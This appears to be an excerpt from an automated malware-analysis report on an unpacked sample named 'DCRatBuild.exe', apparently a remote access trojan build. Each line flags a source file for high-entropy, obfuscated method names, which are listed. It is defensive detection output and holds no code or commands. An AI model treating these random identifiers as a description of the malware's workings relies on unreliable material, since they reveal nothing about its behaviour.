Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, ReUYoKOQ56dexA6oG2.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'PxvrgccYH', 'HtsxvUmo6TAc1LJfgeC', 'Iy6jE6mTfsOv2TjK85C', 'bNa8QAmrQT9xdubb5IE', 'o2OEbcm2EccEYIJF5rw', 'wm0Z9UmDd53SVv7WMBf'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, rjYXO1Xt7HXwh5cqqeY.cs	High entropy of concatenated method names: 'ISXGfM30dj', 'ig7GxKgUWP', 'BTHY9D31unHeMETIVYy', 'Rv2wEv3MFNm2vht8Rhx', 'Bu4vku33rAc7ilEbglB', 'QP8POI3cFFO0iJjgad2', 'TTkOmr3GXmfMNARc7Sn', 'KGtf0r305nG4V02Y8y4', 'uWLtBp37k5pvKaM5B8x', 'F7xfN03l6oQwAU1fbGL'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, tp1VHAMlJ4NNAG3oSlG.cs	High entropy of concatenated method names: 'WFHbdbLjpw', 'QL6b2NnYqJ', 'YrUbDB5aF3', 'f2nbcdiIwx', 'WlgbPfWREI', 'qRLbBdrsuJ', 'E9sbZudlWA', 'JVjE3XGJZMAg4vUEoRy', 'UonqBHGj4hOMf2TWXSo', 'd7fFGGGZQGlMg2KjGk9'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, en8I1MJvnXbnluCgtB.cs	High entropy of concatenated method names: 'YxVYVlySR', 'wqFX7fO2n', 'VxIHFt53R', 'XWvuTJWjp', 'KQh5QMAxv', 'xIs6k5POS', 'ccr0QPoel', 'Io8yeta66LwTteBFGJA', 'kc8KvLaPo5ZaH9HU3K6', 'e9iqfkaMYCs4nO9wBIu'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, LF8f8kDR88y5ca079GD.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'vdVlyIcO6a', 'lfulUeauR7', 'r8j', 'LS1', '_55S'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, qPskceXmrixwxJjbNGH.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'V8I6VE3g1nJXMXDcnab', 'Pwv28P3SmEN7Hpe8xd2', 'A1V5Zj3sh0NcUtkf8Ky', 'sAioci3eYcfSWALgDpY', 'wdAlBR3LdmOHgfKWHd2', 'ULvxqa3iPo8yCLoRaue'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, NnXO6EXSUsBwIS3XxOE.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'XOqi6p4YECwlVHNubds', 'EK4wOD4Kl5rUTSIgGQY', 'XwqntP4E1GymDI3CP4S', 'iACoWq4q6aseTxUNBDj', 'wim2TV4FXnLEZI3XY95', 'dGo3Cl4A4XhaaCNy4af'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, feFamedYfxyCYds7cQ.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'YGTq3mOyXydscR02VlD', 'gIPflmOXChXfUp6tVVi', 'CVYw2ROv76UqDMXA631', 'W4g6IFOVU8d5FlTAg62', 'rk7OCROzAkA4wJxachZ', 'vfBDQof5eAbFUj21ZB2'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, qPKTHmm9orwIlGudmS.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'DCx7QfHKu4OLc8hvDcu', 'Am1lvhHEMyQKo7BGfmu', 'gO8EePHqgeUpMLYbD3M', 'Fu5NCBHFQQf2IwrgMGT', 'bxdi6fHAjWs6x6CX2DN', 'kpvJF9Hd7PKaMdIQkMS'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, uJqfieXFIghvENbe8e8.cs	High entropy of concatenated method names: 'k1hSt6VImW', 'LbxfkIMr5yPBEXvTq3B', 'KGmfh9M2u1BmCOxFNKJ', 'J3TngTMoPcWVd1c0b2b', 'YjARhIMTV2f4swVfHRE', 'SU9Ay2MDbqloLpArqb3', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, i0puI4Xp3qt6CQH4YxG.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'XL7ghn6o9eIkpdPmGLJ', 'v0sQdR6TqCNlpZr9Jfi', 'GIdZ1s6rP1rPOgBHuCb', 'ptKEBs62Glg12Q3xM4t', 'gcwMsv6DWorrhEDD0gl', 'Hm1hR36tqlxPE4w5YUM'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, pD0hMnMaSpk8HN57u9o.cs	High entropy of concatenated method names: 'EH5bzkRYua', 'ImAKTvPwv9', 'Ya7KSGRImM', 'HrrKGVkL3A', 'jOhKbh4LTp', 'AHiKKFGYkL', 'NyZKwA0dxP', 'X4lKebcDoM', 'hrmKWiEOXj', 'nC9KR1LJ0c'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, QFLqVS5PaWP8Gb60HvS.cs	High entropy of concatenated method names: 'nFWHOY8XNY', 'BFKHmRdUy7', 'GlGHQ1DogG', 'TVjHJAmFvV', 'QoeH9iyu8y', 'mgo77WtXAN9bVcgEhp9', 'uqcj9ktvwqAhsSWG4JE', 'otnvI9tVpgw23j7PfNs', 'qNm8A4tzebk1QYkMsGQ', 'UY2mfWb5ImtoV79CQ6U'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, CKFSINM76vVq76E8chw.cs	High entropy of concatenated method names: 'MmFWXWdXe4', 'MjNYfPUStTvltS2CH7h', 'ttZPBdUCdvsK6S2ZXLk', 'DKSWoLUg9qFlNTkfoXw', 'hGKCBOUsdBMIqCCV0q7', 'yUhw1JUe7Qeesw130x4', 's5eWLvAAsN', 'lekWC1nGwA', 'ekrWOK20C2', 'rF3Wm5xTA9'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, obhmbxMd7KOfTiSDKTh.cs	High entropy of concatenated method names: 'yC7eRP6pOU', 'Gg2eF2CB69', 'mC3XkCWilx0KntRqZEW', 'glbhDtWygYUD1NL9Sek', 'jxwGUbWeeQ41otjW3rR', 'mfPXJHWLQOn1PyaPNN8', 'cFMe3GAdE4', 'gpLZx8U5I3ZLubdCC0p', 'LGpo8jUa7DVvvPxIVRm', 'xSl36qWVNR5mue29TaT'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, n75vDiDCEN2dLk9ZHh0.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, oPLvoJrEpe9xPPokXMK.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, N0ZL0jrWWfceRYrduTr.cs	High entropy of concatenated method names: 'HpxXKPwCQv', 'OemXw6yjcw', 'LRcXeK6bu6', 'aAWXW9sZ09', 'mEeXR9ORSD', 'HBcXFK4mUP', 'rpBXit76I7', 'zgNXfSxwKR', 'XVbXxjI6Ox', 'iDYXgrcHpq'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, frrJupkSmosdxLocHUR.cs	High entropy of concatenated method names: '_223', 'rf8DkkQWGmysf7NdrNi', 'Gy1ECTQUWkoClmjQgwY', 'E7F9OEQNNAFEU0osmYF', 'WPsWaZQxJwTMmwNHk9D', 'avLX0IQQ18byRowSfj3', 'CtgseSQ96PnQjkJeCu0', 'oDUQd6QjVleCqFCJCud', 'sdHlVyQZXiuHuwh1jKu', 'hcHEw2QJ5V5JV22bFIi'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, zsJx2m5VH3sr1ufsdeO.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'fV00FTpAsX', 'ydp0iQBSky', 'A2E0frISXW', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, cHU5Gukm0GCCGa2f6F7.cs	High entropy of concatenated method names: '_269', '_5E7', 'lEaGrjxerf', 'Mz8', 'XlWG33CjyM', 'LM4cWaZs6SOOT87Fv5J', 'DuXLy6ZeWEwSjpmcdfX', 'UEtRK6ZLDVv2TcBudro', 'V8N2Y8ZiDvMVXWZK63Z', 'p5mVd4ZyW4fmse5dvJB'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, NO97mGXPMbHRGZxQaFA.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'koHYPK6JJMZvepDOGEx', 'Wsamyc6BJMB1ByBQMre', 'zFi7yV6ns0R6WZIBcWv', 'qFcOdH6YBfdWJt7gchD', 'MQKnvg6KZ6nFWd5yvBG', 'lg4CGv6EQRlNEmWDqaA'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, a75LDG5iWX2UXuyn4PO.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, UtIu7cXip8x48vme9aw.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'p3Udd96Vauibh2sflIe', 'GMDv4s6zn4oxU9omEje', 'MRrSFVP5rIepLmL6IIB', 'PlZwd9PaXgP3dUFGwk2', 'YjpTFTPmgOurWVCupxP', 'DTYs4FPOd3uQtYEPRgV'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, RxNhJUX2wVQDPVqKhTB.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'gyltxx4NxXMvy0shpqm', 'erxs8T4x1tekLwqR0TP', 'edbmEj4Q6PYpI48u4oE', 'mvobGH49EHcc8YlkSUy', 'ngx8Kr4jmjifbS2ho84', 'lcWFkW4ZkeaXFMaTmUo'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, ac7WH95UvuBd3LGJiGL.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, MnkY9kXrawIUFk0neBy.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'pa1UBtIpGJJWxQh45ia', 'qtxmEYIhH0Dk6rBWNU4', 'jYNZPTICkbXOYPSZKlb', 'nBhSWiIgt7GThcLJ452', 'OUnkrVISG84FHro0My9', 'LfXcMKIspwA8O5ujmRe'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, g9m6KQXbMqnUXlHgurF.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'vqQ50w6577CLglyqQnm', 'N7TBj26aEOXxuBjYKaK', 'zWxrZj6memAfA7tRQSk', 'oxXloB6O5ApvIwKecPA', 'n3S91p6frX5A8itDh9v', 'QuehVV6HIV2kOOtvcah'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, fj489oMfawRYiVEqp9g.cs	High entropy of concatenated method names: 'eoZbI6UFwk', 'Y5qLEv0OHFGsQbfan0K', 'hZ4QoG0fNjeX3bZda72', 'xC9h4I0awK3c4olDM28', 'CwugtT0mjUH8epc1REW', 'pYWEG50HYrHxUmeNAHA', 'FtBg4B0IT4sMMQ4L6nR', 'sbK4BI04iQb02i59Fhh', 'BWYdjK06Du7ghmR2A6r', 'MQ7P8D0PXts1JsePWoH'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, qTPb4AXjt1OIWelh5jF.cs	High entropy of concatenated method names: 'I3RSMTPTbN', 'OAyd99MJWV1RSyv5ZYB', 'wnMfVMMB6EpIov1JjNH', 'fCj2qQMjrRgObAy9YqY', 'QN2qclMZ3sFLBZilRFJ', 'VgPYUQMnapn8FVFxNZe', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, mlMyl0kVxeZ8wvyTBpO.cs	High entropy of concatenated method names: '_5u9', 'UWtG1Ud0SF', 'XRmiTCs3lF', 'nunGNP0eJV', 'FuHFZxjXP8tdwmASCl7', 'hXjirSjvQ5cpHcysxEo', 'MHPrqKjVQ2Dl1ve8lYO', 'o23EZkjiZwEnIcmSonr', 'ACbxdFjy2QXeUl8Cqvk', 'ANaiHAjzTVSHTdKhDxj'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, UmMYin5p1p0reIKFPZO.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'LWYHYLXcDn', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, osLxLH55SPrmOauDYlb.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, PVStjT4hn5scdS4lfYS.cs	High entropy of concatenated method names: 'zennxapns0kgYECEyXU', 'IDSbeupYd10gm1gHI2H', 'Hdi5GJpJUtZadn3F7Ps', 'kwJqBNpBR3UQM5IjmCn', 'NyNjlWWMpL', 'rXdQbCpq5PDENGbQRfp', 'zY2SfhpF2w6lTfk59cA', 'QtJ0dKpA4yPdMI4orFR', 'HcXBANpde69lcrNrQej', 'RDAjOmp84UZbZexSDNS'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, CM4kAN6rt2XyLtJnvw.cs	High entropy of concatenated method names: 'XhhD68my8', 'bTfcdG2kw', 'VCjPOSZbl', 'fIb0XUa2PNKN7n30qdi', 'MjxBECaTZRMmWARPnOu', 'kN2PFsareqCyD1xqQCT', 'rGL3tfaDk5qHTjSjpS9', 'X4h22xatN9drIPERMPs', 'WGliUjabVRkKSAZIFlP', 'aWCcOQau8Q90rVG1kZV'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, uoxBGjMjKvrMiFQ2XTW.cs	High entropy of concatenated method names: 'tRpw0fqXCI', 'OktkiswvPjn5Rhp4iL4', 'y3APjGwVmFABZctNXvq', 'Om14wVwy2llYKH7bjbo', 'fX4JwtwXAEEfIqetWVf', 'yUNFVXwzRG7SmHdvGgP', 'TdwS93W5pcam6XKbAkd', 'gnjFvAWaUwjvcrHCkJd', 'UH1v9OWmmWSxuYq1IL9', 'c8aBMTWOZ7W3r4rMgXJ'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, AbyF6Y5ccPaRSV6vWJu.cs	High entropy of concatenated method names: 'bHCuFkiX6R', 'olquiexRZV', 'LocufcjKwE', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'dRouxKu5l7'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, TIXglEXlBKhU9Q9nv23.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'cyaYqc44gHmGph6oXwB', 'CMsSf646BQP5OtIVkMi', 'HjklpI4P9hZrdO81ooH', 'nm8Hqg4MEhQU5U840XH', 'Gronp743Jcjgn420asF', 'W13ltG41vFAvB20m1MZ'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, dWejQuXfi0XPOmmXSRA.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'IfxUbs4DcXQq4yxvWe7', 'inCr4I4tMuCFpYaPhXn', 'tQ5erm4bSchQIWRfbIo', 'utPMxm4u7Bt1hFgbCeF', 'g25p7R4RCb3TPlwHMEG', 'ODqbiq4kwv9u4GYXrEt'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, nUM0x3rkhJ5uxCKcnJJ.cs	High entropy of concatenated method names: 'naAxiodjbJyJRmCcJ6H', 'zg1wnjdZcg30VwvUn5D', 'l3TgmqdQKALkYgFZFum', 'v5kUr0d9neaxkS3TBik', 'fRBOYwFPQ3', 'uBlC25dn1n1CaZ9QmUa', 'qog9J8dYM37TiHAFTdZ', 'qbxuMUdJdlYWrQM9Jee', 'CxNFGHdB0esYdageIAT', 'mt5GRGdK3lDVTaifZib'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, oHajG1kfAgYJUeXXET1.cs	High entropy of concatenated method names: 'l1fRraTj8P', 'DNsRsy2qWw', 'RtrRNqXaiG', 'mOQRnj0loD', 'QK7lEOQ8DZlZ7D5mOhE', 'O7HKoeQoG0fpwgTjTHe', 'oXim4wQTDRY0HlOyOvD', 'g2GEuEQA2LRYC7KpRML', 'gBHkxcQdYrVj3d0iW6J', 'jwHhyjQrTfNAxyFo4cH'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, feCK3kkzDZ70xu9KtFd.cs	High entropy of concatenated method names: 'NCbi5vJ4mV', 'W6fi684QSC', 'M8li0lSxw1', 'kU3YmwJbJqaKp62mZ2E', 'nBfeMsJurQ8BeEtH74A', 'E0AB5UJDKqBsT3wtFSp', 'fFOcF9JtrguTfNa3I2d', 'IVhRB3JRXNCUi07oanp', 'kEevGHJkJi6i6xuTX9a', 'wuZRYBJp6NjxI3QtJvN'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, csvTTBDe7UV0o4HHj3K.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'BuIkTRLHIu', '_3il', 'fGZkSSXVe9', 'R7HkGKwq8W', '_78N', 'z3K'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, EWcsSUr0fAoCVl1wmAU.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'dIFX9wtMi4', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, fsZkwSZXHf0Xv0mVD5.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'Oql8cXH7LAmjP98KowS', 'x0ysf1HlKiEJO3deNNI', 'sgROWWHwAaFOCvowtm8', 'eJRxCiHWPDv1PMQwtbd', 'BP8BaCHUtIB0aSV6r41', 'lLX9hnHNHRnYTmMc5kF'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, StuS5UFYUNN3WcTAGg.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'yTA5UKOTJSeqoUSRwQE', 'eHxMjoOrKPqpg2kkd6L', 'tHc9doO28bp9WPvCVyu', 'VEBBPTODGQup8f2GYLt', 'DJlw3UOtCTfkjKsJKow', 'Lp4VVeObshiWvOiWerR'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, nvHsMUGWsdX0G3LO0P.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'xFWXvcm3BHRuPbcvti3', 'EySrKOm1UZShrk0XtGy', 'fkySKwmckuH44Vwae3I', 'eA0l3fmGHdmFsvIjgwq', 'ly5HrKm0mcS0wgf9o4m', 'EQOC1Gm7EyT6XpvO3kk'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, V8JCbEk9AccBknpBX1p.cs	High entropy of concatenated method names: 'NC1R2LKK6r', 'Ev5RDLyTB9', 'IUkRcLFwVk', 'iIYWErQ0teIJccwt6hR', 'HZeSyKQcemZSfKSpRps', 'CfQRMjQGwhytemtCSGJ', 'gMoHAHQ7qeYYPjFjO1X', 'NVpRytBwSt', 'UMuRU5rvCI', 'NGKR3yjCtM'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, lOkbQbBb0NfPWduKuZ.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'EZ6dhlmvqq9GG96Wpx1', 'BpkokymVojm7NBpxKOy', 'lXxDffmzuRgcNbj9RNx', 'ukMTCIO5aeG0kBJVABD', 'nJ2gnUOa0T5M4HAJkLa', 'vZA6XpOmGGO1hi50qml'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, FUvTB8XuAIE6KpJsY4R.cs	High entropy of concatenated method names: 'BefSNVSem8', 'EqlZxaMm0WqmvifengF', 'h4wD2pMOOwjOfoFVotU', 'xkEvejM5OeNjqnfLaRq', 'dsOMUrMaC54hw2fcmQd', 'B0KVKTMfjBhru3mXOUg', 'toA0KiMH56UW8awX31I', 'F8gNrRMIAAYhn86xVQm', 'dQ0SEpqDyt', 'OsoZ6RMP0S8psSloYfk'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, jxUFL6rQt3GR0sxiYTL.cs	High entropy of concatenated method names: 'AYGYAKZenm', 'TIrYMOEeIL', 'Ic6Y1EBWiT', 'Y0JYIU8ZsO', 'Fk7Ya2y5cI', 'QKYYtEEuX3', 'gmju8OrCNplKkQgCTf5', 'cYNyvArpAwgWgToirKF', 'l3UnQ0rhEKf7SCqxMhj', 'ejyQhqrgrOeqX9MfHIN'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, gxlrpek1LvGoYoBLo6h.cs	High entropy of concatenated method names: 'sg9', 'bZ1G5YLGSg', 'wyxFtydHyD', 'loOGpZRDcv', 'nI3onRjCVIhSrqcmBqJ', 'lxKnfMjgtJ3wk4d2sA9', 'vmRpWDjSane75GQFNv2', 'goD72QjpvgusU3qTXx3', 'bCDGWKjhelJZKegbbsM', 'Q8VcMEjsb2OHqmcylMp'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, MTJPGvHNe9SAZAXfcK.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'BqK4hu3qM', 'chxPjRmNaj7BlMQxeeX', 'dUeau1mx2OfKUujpr1h', 'fu2u5RmQyOsNtVmO3vg', 'GKq1Skm93xrM2CT7s8G', 'IetaQPmjiuPBlafPsC2'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, ikXWGe4UA9BrWQEbsnG.cs	High entropy of concatenated method names: 'ibIjYD8vpq', 'OtvjXth9sU', 'H2CjHNVbiY', 'IVXjuM4e4A', 'LlQj5eh1u3', 'rXMj6IKTlX', 'w6Zj0NrXlp', 'gbbjvrDwDU', 'vfXjjN1TMt', 'jEojdo4Ykv'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, uZ0L4x5Hfw6UKScHjWP.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'NZNuXBaZH3', 'HA2uHS0u9T', 'pvcuuJMb7N', 'w75u5DP9pl', 'nNIu6CWViJ', 'Venu04Kcjp', 'YcT0EuurW7Z5pjO8KJy'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, OJZPS1kZg5X8hT0kG6M.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'HgWifOVYc5', 'nOCGsp0COO', 'BPOix6JvR8', 'lJMG2m3Tse', 'I7oIS7Z232TD1L3nwGb', 'sJag91ZDxgTveZvm1pG', 'iLsUSXZThLdkHHdL8E3'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, LM6iZlrc3Q8eNxGK50m.cs	High entropy of concatenated method names: 'zaeYsMFgRk', 'XXiYNJlrvy', 'OOVYnyP0vI', 'CnFWjJroeIf8bjIkBP3', 'VxqMDlrdYr5ps40e2gU', 'DJQqSgr87FwcLA2gA9L', 'CLpJAJrTTN8XV0I95vi', 'Ejnb54rrKpkI2mv2ouM'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, kGWL5KDSskg6lsJK6ms.cs	High entropy of concatenated method names: 'JJwxcrm7uM', 'NarxPLRLSq', 'foNxByZNE2', 'YN0xZP6dTM', 'tACx4fFvJH', 'SpQLNCBV0dSDXRPtxpZ', 'EtRMNrBzyJYM0xbMLc3', 'GM97B5BXRFXYvq4TYwM', 'kuaTtVBviEfWQTexKS3', 'BxsTeyn5pmxKOxrK4Li'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, uD1CEWXcCe05jYVwLlt.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'sJbbV2PTd9lw7kmcXcf', 'pBPLgvPrUGolZtICfYL', 'DVq9U9P2tKYY5ZKhqGL', 'HmRXcCPDIF9fQ82lCTW', 'AFpk4bPt90yQ5KG8FqR', 'euIAfJPbAvGwQsuUabc'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, KyOTmgriHr2hnFRE7We.cs	High entropy of concatenated method names: 'dFjYZU8M0l', 'Tw5Y4RX1Ow', 'TeoYVur8xX', 'aOsYopxaj2', 'WgtYr7lEkZ', 'iwBllprKJ0nmGABStXO', 'rcqMYkrn3vV39EsJh57', 'nKtBknrYgMGmwIU9eNB', 'ttOIS9rE4iHEKsn4c9T', 'b51YgCrqaIAXJuX4JCo'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, dshDBGXU7CTxFAQ7LDy.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'UqSAn26hIeiWumHmUBg', 'BDNKpN6CDAdSCDxoYg1', 'GMRXxE6g3mNhaeQ6O7q', 'jEejwo6S03EeFIASZJ7', 'G891ka6sQO3nxf13vOi', 'ikDPLe6ecFxd93MfwVq'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, Cgq2kvzosEAKCPyPAH.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'LFElhQIO4TyZseuaabr', 'miirRgIfHHUcSfONAiW', 'OLZXc3IHYj0o99osII6', 'DoS34iIIDGi86AoriD5', 'BqbvoBI4IOulXHJdqV8', 'agPVhEI669AQbmvxnui'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, GDQqU3XvsenXvHLY6L0.cs	High entropy of concatenated method names: 'aKHGSKjCGI', 'U7wGG60rol', 'wIhGbqF00I', 'zE0gIpMsp1GJNWQTfb9', 'BiMaa2MeLSdPFisOULb', 'e72fBJMgULsnDUR036G', 'j4RRIjMSaAExUSybLPk', 'atnSK3ML3rmi08lhx69', 'vDYrMPMiMYCEoAWkroe', 'TirSG3MyetO7RHV5xTH'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, eiKljD5OouuANgNXZMt.cs	High entropy of concatenated method names: 'aEjQAORfXTN5S7yjuEU', 'MRAkIhRHeJB0bdcQhnX', 'oy3HS0RmJWQZcYHAhCd', 'IRFVbuROCN9rK38XY5P', 'HxmuDUeyii', 'WM4', '_499', 'PNOucrvbDy', 'BEVuPw9WKO', 'RaxuBHVbam'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, Oerw6JMJ8naxclaQ7Wt.cs	High entropy of concatenated method names: 'k8FKmB5qJt', 'b7NKQb5MGD', 'R3aKJ3u49p', 'CLZK9STSgB', 'JeHKYlx0LP', 'JDt3Cnl5HtuVTTFJLsS', 'Nt9hUulaWQRCiTbuViW', 'xDPHtG7VJd5g7oWRnVp', 'eArFiF7zkTrofasD8aK', 'YHN2EflmYh0IsAbxgid'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, R7jPP7ImnklP4rRFTd.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'hnMETjHItvYbiaLlYDV', 'Ef8hF3H4F0L4wHGGS3I', 'Lg5IKTH6OWLrn6sK4Yn', 'UnywjKHPIlwXys8n2n2', 'YC9strHMmurs6kxuPKq', 'KTx4UJH3hoajiFMSPOt'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, qtGSCFtKy5HjO36b70.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'jLRxEYfRk6ZRYw3EXxC', 'AYt4IEfkMRcw18mGZvW', 'kkNJuLfpWTscvgZhijK', 'SFoNMGfhG4DyAPa2gRj', 'iV3OmafCTqoBwEUJRiw', 'cIdceCfgJMVcjqXkfuC'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, n0pvB6kIpyvFRJXXn7k.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'N2TGuQXamJ', '_168', 'LXqI3CZBabtGkBnCwk4', 'YPKVP9ZngfkKnPydbqO', 'hjXfsDZYW8jMJNdFPwS', 'WuP2RrZK2nhUWUsAQ94', 'we7nvLZE8KgQ4pmsxNZ'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, nhfg4RkyLVj5ML4FnpW.cs	High entropy of concatenated method names: 'fcqRqu9D7v', 'rvsRpuw3vT', 'SZlRhMv1ro', 'N6xu3DQpQqC5Fu9HoMU', 'fyQ4fkQhqnyKnhdOqS6', 'kJ5O7pQCaZcSZFZIdoL', 'WSPUenQgYYiWnKZuCV2', 'agDLM2QSLGFPXE5OgAM', 'oFDQHwQsVXci4Xrks1k', 'm6iZ3RQeScPEx0PZVmj'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, YegRPiMFsvSTUy2Ptw0.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'Bj3wDklYlo', 'K0swcRCkRa', 'vCJwPxEkPp', 'yp6wBEStdG', 'hlewZb2Vmj', 'FBqdPmWP5U9iY1SFK3q', 'rKnFN1WMtAsxILn93HF', 'oE2fb4W49ox1DT1U1tq'
